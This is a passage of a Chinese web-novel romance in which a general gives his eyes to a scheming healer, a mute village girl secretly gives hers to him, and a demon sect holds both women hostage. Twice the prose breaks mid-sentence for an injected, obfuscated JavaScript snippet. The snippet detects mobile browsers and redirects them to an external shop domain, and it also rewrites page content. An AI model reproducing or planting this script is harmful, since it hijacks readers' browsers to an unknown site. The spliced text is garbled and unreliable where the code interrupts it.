可是这一次落水事件,顾纯儿又不确定了,独孤凤渊居然会关心阿凰,她有点不安,怕生出事端,心里的计划得加快进程了。 门外男人已经到来,进了屋,问一旁的蝴蝶精:“姑娘好好吃药了吗?” 还不等蝴蝶精回答,顾纯儿就抢先说:“你精心给我准备的药,我怎么能辜负你的好意?自然是每次都喝干净的。” 独孤凤渊坐在她身侧,抱住她:“那就好,你好好休息,不要思虑太多,伤身,眼睛彻底痊愈前先别出门,否则见了光又要流泪。” 他摸了摸怀中女孩的手臂,有些疑惑。 不知为何,这段时间他总在怀疑自己的记忆,他清楚的记得,救了他的那个女孩身材是纤细的,柳条一样的女子,身姿纤长婀娜,体温比常人低,总是凉丝丝的,肌肤滑嫩冰凉。 可顾纯儿是正常的体温,且身上肉多了一点,脸也是圆的,不是记忆中他亲手摸到的鹅蛋脸。 也许是这些日子她把身子养好了吧。 有时他想听记忆里的笛音,便让顾纯儿吹笛子,她确实会吹,但是他总感觉哪里不对劲,没有脑海里听过的那种感觉。 意识到独孤凤渊在出神,顾纯儿抱紧了他,说:“如果我的眼睛彻底好不了,成了一个瞎子,你会不会丢下我不管?” “别胡思乱想,我既带了你回府,就会一辈子对你好,我目不能视的那段时间全靠你悉心照料,就算你只是一介乡野女子,我也会回报搭救之恩,更何况你待我那么好,一心一意跟在我身边。”独孤凤渊道。 怕她不放心,他郑重承诺:“不管用什么办法,我也会找到名医为你治好眼睛,即便真的发生了最糟糕的结果,哪怕是要用我的眼睛换你重见光明,我也心甘情愿。” 顾纯儿愣了一瞬。 并不是因为独孤凤渊的真心承诺而感动,而是因为他所说的话,正中她下怀。 若不是她确定自己没有暴露目的,她甚至以为他知道了她的计划,故意这么表演让她放松警惕露出破绽。 “真的吗?”顾纯儿抬头,恳切地看着他的眼睛,“你真的愿意做到如此地步吗?” “我愿意。”独孤凤渊握住她的手,“我说过,不惜一切代价也要治好你的眼睛,哪怕是用我的眼睛,这也算是我对你的回报,不必过意不去。” 顾纯儿流下一滴眼泪,说:“我好感动,你竟能如此真心待我,我从未想过这世上还有人这么爱我,既然如此,我更要保护好自己的眼睛,好好养伤,让眼睛痊愈,我不想你为了我付出惨痛的代价。” 独孤凤渊不语,只是为她擦干净眼泪,温柔道:“不要哭,眼睛会疼的。” 她努力挤出笑容,看起来又勉强又坚强,令人心生怜爱,说:“你对我的好我都看在眼里,我也想把自己的真心剖给你看,想让你知道我的心,想让你知道我也很喜欢你。” “我知道,我都知道……” 她打断了他:“你不知道,我比你想象中还要爱你,既然你说你知道,那你知道我想嫁给你吗?” 男人彻底怔住了,好一会儿才回过神,问:“你说的是真的吗?” “千真万确,情比金坚,你难道不信我的心吗?” 独孤凤渊盯住少女的眼睛:“不,我信,你说的我都信。” “瞧你这傻样。”顾纯儿噗嗤一下笑出来,说,“我这可不是突然冒出来的想法,是经过深思熟虑的,只是怕太早告诉你,你会觉得我轻浮,不相信我的话。” “怎么会……” 顾纯儿故作嗔怒打断他:“不许打断我说话!不然我就不说了。” 独孤凤渊无奈地笑,连连说好。 她继续说:“我慎重考虑之后,觉得现在说正好,不瞒着你说,我很害怕失去你,更害怕我以后瞎了,你会变心,我无法永远陪伴你,所以我想,趁现在我还算好好的,尽快把我们的婚事办了,我怕……” “是我没有给你足够的安全感。”独孤凤渊道,“全都听你的,一切看你的意思来,不要再怕了,你担心的都不会发生。” 顾纯儿满意地笑了,片刻之后,好像才突然想起来似的,问:“那表姑娘,你的表妹,她怎么办?我不想因为一己之私而伤了另一个女人的心,我也不想和别的女人分享自己的丈夫,可是,你们早已有婚约在身,还是长辈定下来的,我也不想你因为我而忤逆长辈的夙愿。” 独孤凤渊道:“那本就是违背我意愿的联姻,如今双方长辈都不在了,独孤槿家道中落,旁人早有龃龉,已经做不得数,我念在长辈的面上收留了她们家,已是仁尽义至,我戎马一生,不想连自己所爱之人都守护不住。” 两人相拥,低头的顾纯儿笑容变浅。 实在是没办法,她怕夜长梦多,只能加快进度了。 果然不出她所料,在她的热烈追求下,就连堂堂东明大将军也无法拒绝,她早就知道,她生来就是被所有人爱着的,只需要勾勾手指,就有数不清的人甘愿奉献。 唯独有一人,心中只有事业,竟能拒绝她的示好。 可她依旧自愿为了他做一切事情。 阿凰又听见声音了,听说府上有喜事要发生。 “什么喜事?我正好在这边伺候着,没来得及打听,你快告诉我。”一个丫鬟好奇的声音。 “将军要娶顾姑娘为妻了!全府上下都在筹备婚事,半个月后,良辰吉日正式大婚,到时候可有不少赏钱!” “真是毫不意外的事,将军果然要娶顾姑娘,怎么样,之前打的赌还算不算数?” “算,算!我也是没想到,本以为将军会顾念着父母之命媒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128876|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妁之言,娶表小姐为正妻,现在看来,表小姐难道要做小?” “可不一定,说不定连妾都做不成,你们看将军和顾姑娘如此恩爱,会容忍别的人分一杯羹?顾姑娘那蜜糖一样的声音,只要一撒娇,哪个男人受的住?她不想将军纳妾也就一句话的事。” 话头停了片刻,丫鬟看了看躺在床上的阿凰,冷笑一声,用手指了指,说:“还有这个,连个外室都混不上,上次将军来看了她一下,本以为有点戏,嘁!真是不争气,搞得我们这些跟着伺候的也捞不到好处。” “怪她也没用,哑巴就算了,长得还奇丑无比,将军昏头了才看上她。” 直到仆人们撤走,房间里重归平静,阿凰忍不住流下两行清泪。 她好想回清水村,明明她什么也不奢求,只是想回家,逃离这一切,可是上天好像不肯放过她,一定要让她见证那两个人诚挚的爱情。 半个月很快就在欢喜的氛围中过去了,经过半个月的细心筹备,整个将军府红光通天,喜气洋洋,人来人往的贺喜。 招待完来宾,夜幕降临后独孤凤渊终于从宴席上脱身,片刻不停前往婚房。 刚进了门,蝴蝶精跑过来跪在他面前,低着头双目无神,嘴里说:“不好了将军,夫人站在高楼上要寻死。” 独孤凤渊惊愕不已,拔腿就跑向蝴蝶精所说的阁楼。 就见阁楼张灯结彩,红灯笼挂在周围,阁楼之上,顾纯儿一身红嫁衣,站在最高处,夜晚的风吹动她的衣摆,她看起来摇摇欲坠,好似下一刻她就要从高楼上坠落。 独孤凤渊心惊胆战,迅速赶到她身边,她转过身来喝止他:“别过来!否则我立刻跳下去!” 他安抚着她:“好,我不过去,有什么事你先和我说,别冲动。” 顾纯儿流着泪说:“我不想这样的,我也想和你长相厮守,可是我不想害了你……从小我的眼睛就不好,落水留下后遗症之后,就更治不好了,这两日药宗来人为我贺喜,看过我的眼睛,说一年后我就会彻底瞎了……” 她泣不成声,休息片刻才继续说:“我可是药宗的天才小医仙啊,以后我再也不能行医救人了!我无法接受这样的自己……” 独孤凤渊安慰道:“只要还活着,一切都有办法挽回,我毕生寻医为你医治,你先回来……” “不,我自己也是药宗的,我知道自己的情况。”顾纯儿打断他说,“你知道吗,药宗查到的救治方法是,唯有心上人的眼睛才能救我,可我怎么能看着你受伤?你曾失去光明,我不想让你再度陷入那样的境地……” 说着说着,她竟哭晕了过去,独孤凤渊趁机接住她,把人带下去。 两日后,独孤凤渊派人去找的神医被请入将军府。 那人浑身包裹在一块黑布之中,只露出一双眼睛。 独孤凤渊心生疑虑,问:“先生为何不以真面目示人?” 神医的声音听起来十分怪诞:“不论真面目,还是假面目,只要能救人的就是好医者,不是吗?想必将军急需要的只是一个能救治夫人的医者,只需要我有那个本事就行了。” 独孤凤渊不再浪费时间,只问:“你当真能做到为活人换眼,同时还保留性命无碍?” 他是知道这世上有一些常人无法把握的东西,只有在那些修道士和江湖中人身上才能看到。 神医不多说,只是拿出一个罐子,说:“有人寄托了眼睛在我这里,随时都能拿回去,不过,有的人已经死了,留在我手里的眼睛便会腐烂。” 独孤凤渊看向罐子内,那些眼睛活生生地漂浮着,甚至还会眨眼,饶是他征战沙场多年,看到这一幕也心中一跳。 这些江湖术士本领千奇百怪,药宗便是其中一个分支,他曾也想招纳一些人为军营所用,可这些人都说无法插手,否则便会受到千百倍的反噬。 “将军,你可想好了,真要换下自己的眼睛给夫人用?”神医向他确认。 独孤凤渊毫不犹豫:“确定,立刻就换。” 神医笑了笑,听不出是嘲弄还是赞赏:“将军真是情深不寿。” “也算是我在还债吧。”他说。 26. 我的眼睛给你 知道独孤凤渊把他的眼睛换给顾纯儿的时候,阿凰震惊得差点跳起来,浑身气血奔涌沸腾,说不清是愤怒还是悲伤,就快要挣脱一切束缚醒来。 许久之后,她挺身而起,吐出一口鲜血,终于久违的睁开眼睛。 怎么会这样?又发生了什么事?他们两个不是还好好的吗?他不是和顾纯儿成亲了,正是新婚燕尔的好日子,为什么突然要挖眼睛? 刚刚进屋的丫鬟看到她醒了,还吐了一口血,吓得要跑去喊人,被阿凰拉住,一直瘦弱的人此时力气却大得惊人,一时之间竟挣脱不了。 阿凰着急得发出嘶哑的声音,由于嗓子干声音更呕哑嘲哳,她迫切地想追问一切到底是怎么回事,丫鬟被她揪得手臂生疼,求饶道:“姑娘,你写字吧,我看不懂!” 一番沟通下来,阿凰才知道最近都发生了什么,一时震惊得愣在原地。 独孤凤渊换眼睛给顾纯儿后,为免引起动乱,禁止所有人谈论这件事,把消息封锁住,尤其是,他作为一国勇将,若是这样的消息传出去,伺机在边境的敌人将会蠢蠢欲动。 听说得到了独孤凤渊的眼睛后,顾纯儿看起来十分懊恼自责,不忍见到他,自己跑出去,似乎想回药宗喊人来救他。 阿凰痛苦不已,独孤凤渊啊独孤凤渊,你真是好糊涂,你也知道你是东明的大将军,就这么把自己的眼睛给了别人,你当真是情深义重,你当真如此爱她。 可当初在清水村,你在情深意浓时说自己有不得不离开的理由,如今你又可以对黎民百姓不管不顾了? 原来,他是有偏爱的,只给顾纯儿,对她可以无条件纵容。 她不知道这段时间里,这两个人之间发生了什么事,竟能做到如此地步? 跑去看望独孤凤渊时,守卫一看来的是阿凰,竟也没有阻止,反而拜托她好好劝慰将军,好好陪伴他。 “谁?我不是说了不见任何人吗?”听到声音,独孤凤渊不悦,目不能视后,他对声音的感知力变得格外敏锐,很快就适应了黑暗的世界,记忆中他有过一段失明的经历,也许是因为这个原因。 阿凰敲了一下桌子。 一个看不见,一个说不了,恍惚之间两人好像又回到了最初相见的场景。 独孤凤渊顿住,好像在深处的记忆里,有一个人也习惯用这种方式回应他。 他不说话了,竖起耳朵仔细听,已经没了刚才警惕的样子。 阿凰走到他面前,在他手心写:你还好吗? 手心的痒意又让独孤凤渊一顿,似乎有一段被尘封的记忆正欲破土而出。 我要走了,你和她好好的。阿凰写道。 “站住。”独孤凤渊抓住她要撤走的手,思索片刻,“你是阿凰?” 她没有回应,只是要走,可是他的力气太大了。 你的眼睛痛不痛?她写。 他没有说话,不知道在思考什么。 阿凰又写:对了,新婚愉快,百年好合,这一次,不要再辜负一个女孩的心了。 “你说什么?” 趁他怔愣的功夫,阿凰使出所有力气用力甩开他的手,头也不回地跑了,一路跑出将军府,直到没有人的地方才停下来喘气。 浑身裹着黑布的人走出来,声音听不清是什么感情:“你真的想好了?” 阿凰点头。 “真是想不明白,你们一个个的,自己的眼睛好好的说挖就挖,对自己真狠。” 她也没想到,自己有一天也能做到这么勇敢,为了念念不忘的人,更是为了黎民百姓的安定需要有人守护,她不得不让独孤凤渊恢复视力。 她竟然庆幸这个给独孤凤渊换眼睛的神医还没走,否则,她还不知道该怎么办呢。 “先提醒你一句,吃下这瓶药就再也没有后悔的余地,换眼的过程有可能安然无恙,也可能痛不欲生,你若决定好了,就把药喝下去。”神医说着丟了一个小瓶子过来。 阿凰把封口打开,毫不犹豫就把药水全部倒进嘴里,速度之快,态度之决绝,神医甚至都没反应过来。 药效几乎是一会儿就发作了,阿凰痛得浑身发热,熬过那种热之后又开始浑身发冷,耳鸣吵得她快听不清耳边的一切,倒下的那一刻眼前就已经一片漆黑,她不知道自己是痛得闭上眼睛了,还是已经开始失去自己的眼睛,心里短暂地冒出恐惧,可是她只能告诉自己,不能害怕,也没有后悔的地步了。 一旁的神医似乎是看不下去了,把阿凰扶起来坐好,向她身上渡了一股气息,她的痛苦才缓解了许多。 他想问阿凰,还要继续吗?可是看着她坚决的模样,觉得问了也是同样的答案,不免有点敬佩。 “你还真是忠贞。” 接下来阿凰没再感受到什么痛苦,只是突然发现眼前一片虚无,不是刚才那种眼前漆黑的感觉,而是失去了“看”的能力,世界化为一片无边无际的虚无。 好像有什么东西永远地离开了她的身体,心中因此冒出一股悲伤来。 神医看着阿凰的眼睛,一片空洞,叹了口气。 如此弱小的人,竟能做到把自己的眼睛拱手让与他人,真是不可置信。 她死死揪着神医的衣服,在他胸口写字,让他快去给独孤凤渊换上,忽然晕了过去。 …… 西明,将军府外,顾纯儿换了一身全新的衣装,她风尘仆仆从东明赶回来,连药宗都没回去,第一时间就来了这里。 她比任何人都激动,因为她终于从独孤凤渊身上得到了他的琉璃瞳,马不停蹄跑来找那个心心念念的人,一定要给他换上。 回想起第一次见面的场景,顾纯儿嘴角沁着甜蜜,虽然玄极只是顺手救了她,可从此她就对他念念不忘,他眼里只有他的事业,总是一往无前,永远没有功夫顾念儿女情长。 没关系,他不停下脚步,她就永远跟着他跑。 以前顾纯儿经常主动找上门,很多时候玄极都以事务繁忙推脱,让管家招待她。 这一次,知道她有办法治好他的眼睛,他一定会很感激她的。 果然不出所料,没多久就有人出来迎接顾纯儿进门。 她在会客厅等候没多久,男人就来了,许久不见,顾纯儿再次见到他,心生一种扑上去抱住他的冲动,怕被推开还是忍住了。 “你有办法治我的眼睛?”玄极开门见山说,自己坐了下来。 他的右眼呈现出灰色,在战乱中受了伤,早已失明。 每次看到他的眼睛,顾纯儿比他还难受。 “我听说天底下有一种独特的琉璃瞳,便想办法去取了。”顾纯儿拿出装好的眼睛说,“事不宜迟,我为你换上新的眼睛。” “原来你这段时间去了东明是在忙活这件事。”玄极道,补了一句,“辛苦了。” 她心满意足:“不辛苦,我心甘情愿,为了你的眼睛,这一切都值得。” 西明原是和东明互相抗衡的,玄极失了右眼,行动不便,整个西明竟也找不出像样的将才,便一直由玄极挑起大梁。 玄极将信将疑,他知道这世上存在鬼怪之说,也见识过,顾纯儿古灵精怪,为他展示过,只是要让他一个活人换眼,他不得不谨慎。 看着那双琉璃瞳,事到如今,他也只能赌一把。 他吃了药躺下,等待药效时顾纯儿惴惴不安,她也挖过妖物的心肝和眼睛,只是换眼这种事经验不足,在此之前她还抓了几只小妖做实验,为了换眼练手。 真正要在玄极身上动手,她还是很紧张的。 好在并没有很明显的药效副作用,顾纯儿拿出那双琉璃瞳,真正如琉璃一般通透明亮,美丽非凡,若是长在一个仙人身上就不错,只可惜长在一个凡夫俗子身上,现在取了来,发挥它真正的作用也算是积福。 顾纯儿双手微微颤抖,以灵力包裹,将琉璃瞳送到玄极眼里,一开始他还不适应,她施加灵力,为他稳固眼睛,良久之后终于成功了。 眼睛重获新生,玄极一瞬还有些不习惯,许久没有体会到两只眼睛都看得清的世界,他看着自己伸在眼前的手,握紧又松开。 顾纯儿也由衷为他高兴,双手抓住他的手腕:“太好了,成功了!这双眼睛很适合你,感觉可有不适?” 玄极缓缓摇头,她主动将手往上移,试探着与他十指紧扣,这一次没有遭到拒绝,她几乎要哭出来了。 她只觉得真的好不容易,好在过程虽艰辛,结果却是好的。 …… 塞外雪山之下,是北冥教的地界。 失去眼睛的这段时间,阿凰不知道光阴流逝了几轮,只知道这里很冷,有个好心人收留了她,他没有告诉她他的名字,她只听到仆从唤他少主。 她听说,西明的大将军玄极得了高人助力,如虎添翼,入侵东明边界。 又有战乱了吧?百姓又要受苦了,不知道会不会影响到清水村。 不知道他会不会变得很忙碌,他会输吗?会死在战场上吗?她的眼睛,他用得还习惯吗?顾纯儿有陪伴在他身边吗?她是医仙,跟随在军营,一定能成为很大的助力吧。 这时候,她才能体会到那时的他眼里的世界是什么样的,真是很不容易。 同时失去了说话和看见世界的能力,阿凰反而觉得无比的安静,心中没那么杂乱了,反而在绝望之后,她竟在庆幸自己还听得见,否则三感全无,那时候她会崩溃吧。 宋清希进来的时候,看到眼睛上缚着白绫的阿凰,就这么静静地坐在那里,好看的柳眉微 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意识到自己的真心只是顾纯儿计划的一部分,被她视如草芥,宋清希便迅速抽身了,可不是所有人都能轻易从一段失败的感情中清醒,比如阿凰这个呆子,事到如今,她竟毫无恨意,若换作他,势必要所有人付出代价。 他承认他是在为阿凰抱不平,可是她不在乎。 宋清希一直没有告诉阿凰,小宋是他,神医也是他。 四季酒楼是他们北冥教在东明国京城的势力,那时他故意放走阿凰,伪装跟随在她身边,他断定能从她身上入手抓到独孤凤渊的痛点。 只是后来的事越来越脱离他的预料。爱上顾纯儿,看着他们三个人之间的纠葛,加上后来的换眼事件,都朝着不可预见的方向发展。 至于为何帮阿凰挽救独孤凤渊的眼睛……他可不想独孤凤渊真的恢复视力,只是在她给的眼睛上加了东西,只要他想,随时可以控制独孤凤渊的眼疾发作。 北冥教作为塞外不可掌控的势力,一直以来都是东西明两国的眼中钉,同样的,北冥教也与任何一国不对付,他作为少主,奔赴在外潜伏在各地,就是为了寻找机会,挑拨两国发生动乱,北冥教才能从中获利,坐收渔翁之利。 宋清希已经在后悔带阿凰回北冥教了,他应该把她藏起来,好好养身子,度过安定的余生,而他会为她寻找眼睛复明的办法,他尤其是不想让教中知道,可是教主已经知道了,他一定会利用阿凰牵扯独孤凤渊的。 “阿凰,如果有机会浪迹天涯,你想离开吗?想和我走吗?”宋清希轻声说。 他不敢让阿凰知道是自己帮了她,在她面前说话时只能伪装声音,竟也有些庆幸她看不见,否则她一定会很害怕一开始对她那么凶的他,不肯和他走。 他想慢慢来,以后她一定会接受他。 阿凰只是敲了两下桌子。她现在不但说不了话,也看不见,连写字表达自己的意思都做不到。 很多时候,宋清希并不能理解她的意思,现在和她沟通起来更困难了。 比如现在,她敲两下一般是拒绝的意思。 拒绝离开这里?拒绝和他走? 无所谓了,他不在乎,当务之急是想办法神不知鬼不觉地带她离开,找到一个没有人知道的地方躲起来。 可教主看守太严,一时半会找不到机会。 宋清希作为教主之子,并不想忤逆父亲的意思,也不想轻易放手北冥教,在此之前他眼中只有壮大北冥教的目标,现在虽然也没有改变,可与此同时,他也想一手抓北冥教,一手抓自己内心的小心思。 他并不奢望阿凰会接受北冥教,在外界眼里北冥教确实是邪魔外道,所有他才坚持要带阿凰走,明面上与她度过平静的生活,暗地里继续接手北冥教的任务。 “我为你换眼药吧。” 阿凰点点头,感受到束缚在眼睛上的布料被撤去,可她依然看不见一丁点光线。 温度适中的湿毛巾轻轻在脸上擦拭,好像珍视宝物一般,阿凰知道是那个好心人在给她洗脸。 洗干净后,他亲手为她换药,日复一日不嫌烦,亲力亲为照顾她的日常起居。 阿凰曾费力地在他手上写字,问他为什么要对她这么好,他沉默了好久,说,她看起来太令人心疼了。 换完药,宋清希看着阿凰的脸庞,伪装成小宋暗中跟随在她身边的那些日子,他亲眼见过她在将军府受尽白眼,那些人攻击她的容貌,可他知道,若她洗去脸上的胎记,本身也是个绝世美人。 连他一个别人嘴里的魔教中人都知道,人不可貌相,有的人生得美貌,却心如蛇蝎,可有人受尽冷落,依然坚守内心的善良。 更别提有的人相貌平平,实力也一般,竟痴心妄想,挑拨利用他人,为了一己私欲残害无辜之人。 27. 血泪 又是一年春天,独孤凤渊凯旋回到京城,在路上看见农田里开满了油菜花。 边界战事暂时平定,众人暂且有机会缓了一口气。 回到将军府,人去楼空,在自己家中,独孤凤渊竟感到一丝孤寂。 不知何时,他肩上落了一些油菜花的花瓣,鼻尖还能闻到若有似无的清香。 独孤槿早已备下接风宴,接下他肩上的披风,柔声说:“表哥这一路辛苦了。” 独孤凤渊只是望着某一处出神,许久之后才开口:“阿凰哪儿去了?” 在他印象里阿凰是独孤槿带来的人,觉得她俩是一块的,恍然发觉,除此之外他对阿凰毫无了解,除了独孤槿,他竟再找不出第二个能联系到阿凰的。 自从阿凰与他道别之后,他心中就一直有一种说不上来的空洞。 然后,他又问:“这段时间顾姑娘回来过吗?” “阿凰不知何时走了,并没有和我道别。”独孤槿回答说,“顾姑娘自从离去后就再也没消息。” 这些日子,顾纯儿在表哥心中的地位人尽皆知,她离开的时间越来越长,众人都在议论,说她得到了表哥的眼睛就跑了,说不定早就另有所图。 至于阿凰,独孤槿早就知道她的事,本以为表哥有了新欢忘旧爱,可在她看来并不是那么简单,这两个女子,在表哥心里的地位都不一般。 她本就没有什么胜算,在得知表哥要娶顾纯儿为正妻时只觉得天都塌了,努力维持的体面在顾纯儿面前好像都是笑话,所以知道她丢下表哥跑了之后,她心中反而有些庆幸。 她倒从未把阿凰放在对立面,毕竟这姑娘真的挺可怜的,若不是家族重任在身,她可能会认阿凰为义妹,所以她说成了正妻后愿意一直和阿凰姐妹相称也是真的,这姑娘心思纯良,对任何人都没有威胁,她也乐意与这样的人携手合作,并护着她。 独孤槿不敢多说,她太怕了,怕顾纯儿又回来,怕争不过那两个女子,她耐心守护的联姻被作废之后依然留在京城,不死心等待机会。 独孤凤渊没有坐下休息,自己沿着路走,回过神时走到了之前阿凰住的院子里。 此时他才发现,这里一直都那么冷清,甚至简单得有些寒酸,配置都是次等的。 可她从未表达过不满,好像一直都是不争不抢的。 进了阿凰住过的房间,独孤凤渊发现一沓用过的纸,上面写了诗句,字体隽秀有力,字如其人,可以看出写字的人温婉而坚韧。 她一个乡野女子,怎么会写诗,书法也是一绝? 有的纸上还作了画,是村庄的模样,还有河边的油菜花。 又是油菜花。 独孤凤渊不禁回忆起阿凰道别的那天,她说的那句“不要再辜负一个女孩的心”,到底是什么意思? 他又走到顾纯儿之前住过的院子,碧蓝色的湖水依然清澈,经过寒冬的洗礼,那些永生不败的花竟还好好的,湖里的鸳鸯似乎瘦了一圈。 那个笑靥如花的少女,突然走进他的心中,又突然离开了。 其实那些传言独孤凤渊并不是没有听过,只是他心里还倔犟的不肯相信。 换了眼睛给顾纯儿没多久后,那个神医又来给他换上新的眼睛,却什么也不肯多说,他甚至不死心地以为,那是顾纯儿医术高明,想办法给他的。 忽然有下属来报,说得到了一封神秘信件,独孤凤渊打开,内容很简短:你心爱的两个女人在我手上,独自前来塞外鬼嚎驿。 两个女人? 独孤凤渊先派人去查看独孤槿的安危,得知她安全后,疑惑片刻。 另一个难道是阿凰? 策马奔腾出城时,他还在忧虑赶去塞外太远,不知是否来得及,却看到前方停了一辆马车,一个黑布裹身的人背对着他,似乎早就知道他要来,等候在此。 “请吧,大将军。”怕他拒绝,那黑衣人强调,“塞外路途遥远,骑马过去两位夫人怕是要等不及了,放心,只要西明还存活一天,我们不会拿将军您怎么样。” 来不及犹豫,独孤凤渊上了马车,就见马车飞上天去,速度极快,却很平稳。 一日之后,终于见到雪山,马车向下飞去,停在路边。 只见掉色的旗帜上写有三个字:鬼嚎驿。 黑衣人用一条黑布条将独孤凤渊眼睛蒙上,抓着他的肩膀迫使他向前走去。 许久之后停下脚步,眼睛上的黑布被撤去,刺眼的光线让他下意识用手挡住,好一会儿才适应。 前方站了几个人,唯有一个男人是坐着的,从衣着上看是这些人的头目。 只是粗略一看,独孤凤渊就大概猜测出这附近埋伏了不少人,再一观现下的环境,他猜这里就是北冥教了。 那么,坐着的人就是教主了,他身侧的少年气度不凡,应该就是北冥教少主。 “独孤将军尽管放心,今日本座是请你来做客的,不会伤你性命,不必如此警惕。”北冥教主靠着座椅居高临下看着他。 独孤凤渊不欲多说,只问:“人呢?” 随着几声鼓掌声,有教众从一侧而来,押着两个女孩,皆在昏迷之中。 独孤凤渊眉头一皱,那正是阿凰和顾纯儿。 而教主身边的宋清希在看到阿凰被带过来的时候也紧张起来,看了看父亲欲言又止。 为何阿凰眼睛上蒙了一条白绫?独孤凤渊还来不及思考,教主便说:“听说独孤将军是个直爽的人,本座便不白费口舌了,只要你肯答应与我达成一场交易,我立刻放了你的两个夫人。” “说来听听。”独孤凤渊说。 “你只需要代表东明向西明出兵,并将灾民引入东明,至于原因我也替你想好了,怀疑西明包庇魔教中人,替天行道。” 他下意识要说不可能,可看了看两个女孩,沉默了。 “我怎么知道我答应了你后,你的话还作不作数?必须让我先把人带走。” 教主笑了笑:“我也不是三岁小孩,你把人带走了还会听我的吗?” 两边争执不下时,阿凰和顾纯儿都被下令弄醒了,刚醒来不明状况,还在迷糊。 再三思考后,教主提出建议:“既然如此,我退一步,答应你的要求,但你只能选一个带走,总不能手里一个筹码都不给我留吧?” 再度陷入沉默。 阿凰清醒了,看不见之后,她的听感很灵敏,周围的动静都听得一清二楚。 她心里很平静,独孤凤渊会做出什么选择,她甚至不用猜就知道,他一定会带顾纯儿走,可是她心里又有些期待,万一他想起来曾经的事,会考虑她呢?听到他沉默了,没有立刻做出决定,她就更期待了。 而另一边的顾纯儿眯了眯眼睛,才能看清现在是什么状况。 东西明两国战乱时,她中毒瞎了眼,吃了药才能时不时勉强看到一些模糊的身影,药宗告诉她,要心上人的眼睛才能救她,她实在是没想到,当初用来哄骗独孤凤渊的谎言竟然生效了,作用在她身上。 她犹豫了,独自出走时被魔教逮住带走,一醒来就是现在。 “凤渊,你在吗?”顾纯儿可怜兮兮地喊出声,尽量让自己的声音听起来更可怜。 她也不是没有和魔教中人交手,可惜她还是太低估了他们,这一次就轻易被抓住,毫无反抗之力,她终于知道恐惧了。 阿凰也想呼唤他,可是她连出声的资格都没有,现在还瞎了眼,看不到他在哪里。 “纯儿,我在这里,别怕。”是独孤凤渊的声音。 “我本想为你找到医治眼睛的办法,却自己中毒瞎了眼,再也看不清了。”顾纯儿带着哭腔说,“我的眼睛好痛,好像要瞎掉了,我害怕,我们快离开这里好不好?” 独孤凤渊安抚她道:“你不会有事的,我一定会让你平安离开这里。” “独孤将军快做决定吧,否则,等西明的将军知道小医仙被困在东明,发兵讨人,就来不及了。”教主催命似的说。 独孤凤渊眼神变得凌厉,对方果然狡猾。 这教主想散布消息,宣称顾纯儿被困东明,而她本就来自西明药宗,虽为中立势力,可也是在西明国土之内,若西明以此发难也算出师有名。 上一场战役之中,西明本就落入下风,急需重振士气的时机,他们早已觊觎东明边境,抓住机会一定会讨伐。 而顾纯儿又是药宗的人,独孤凤渊也一直想拉拢药宗…… 他抬手,指向了顾纯儿。 她如释重负般笑了,被教众放开,跌跌撞撞奔向他,撞进他怀里,哭哭啼啼。 “独孤将军一怒为红颜,那就恭喜你夫妻二人重逢了。”教主说。 阿凰此时挣扎起来,教主转头,见她似乎想表达什么,走了过来:“你也想走?可惜独孤将军不选你啊,本座也没办法。” 她做了一个手势,教主顿时喜上眉梢。 那是她和教主的约定,曾经教主和她说过,想要她自愿地交出自己的魂魄,若有哪天想好了就做出这个手势。 白绫被泪水打湿,从心脏的地方开始发麻,蔓延向四肢百骸,她的心脏好像在一点点萎缩,她彻底心死了。 她到底喜欢这个男人什么啊?喜欢上一个容易变心的男人,一个无情又冲动的男人,一个盲目的男人,就是不幸的开始。 所以她一直痛苦,一直受难,一直倒霉,作为一个普通人莫名牵扯上原本一辈子都不会遇见的事,经历了这么多苦难,她突然觉得自己真可笑啊,真活该啊。 真想问自己,阿凰啊阿凰,你就做你的清水村教书先生不好吗?为什么要管这个男人?原本你可以无忧无虑一辈子的。 顾纯儿勾勾手指,他就心甘情愿为她驱使,为她付出一切,而她还在傻乎乎地期待。 不要再犯贱了,阿凰。 “你能想通,我为你高兴。” 教主将洗髓药给阿凰。 她一口气咽下去,喉咙顿时像喝了一瓶甘露,清新通透的气息钻入嗓子眼。 可她还是看不见,因为她的眼睛还在独孤凤渊眼眶里。 “独孤凤渊,我从来都不欠你的,可是你一直欠我,现在,你还欠我一双眼睛。”阿凰拿回了属于自己的声音,平静而温和,充满神性。 “你知道吗,你的眼睛是我给你的,至于你自己的眼睛,你得问顾纯儿了。” 独孤凤渊怔住,好久才吐出两个字:“阿凰?” “在清水村的时候,你也是这么唤我的,那时,我只是村子里一个普通的女孩,偶然救下受伤的你,我们从春天相伴到夏天,一起教学堂的孩子们识字,后来我们在去镇上的途中遇袭,我掩护昏迷的你独自去引走追兵……再次重逢时,你的眼神那么陌生,就好像我是一个上门讨债的。” “曾经你交给我一枚玉佩,说是你母亲为你祈福的,告诉我,拿着玉佩当做信物去找你即可。”阿凰停下来,深吸一口气,“可是你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138334|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不记得了,这都是你亲口告诉我的,你当真薄情啊,说忘就忘。” 独孤凤渊捂住脑袋,头痛欲裂,越听耳鸣声越大,可阿凰平静的声音却一字不落进入他耳中。 “你曾经许诺的誓言一个都没有做到,我却还在傻傻的期盼,自从来到京城,我没有一天不想回到清水村,这里的一切都不属于我,包括你,在你身边,我每一天都是难过的。” “你说……什么……”独孤凤渊脑袋要炸了,似乎有一些画面开始涌入脑海。 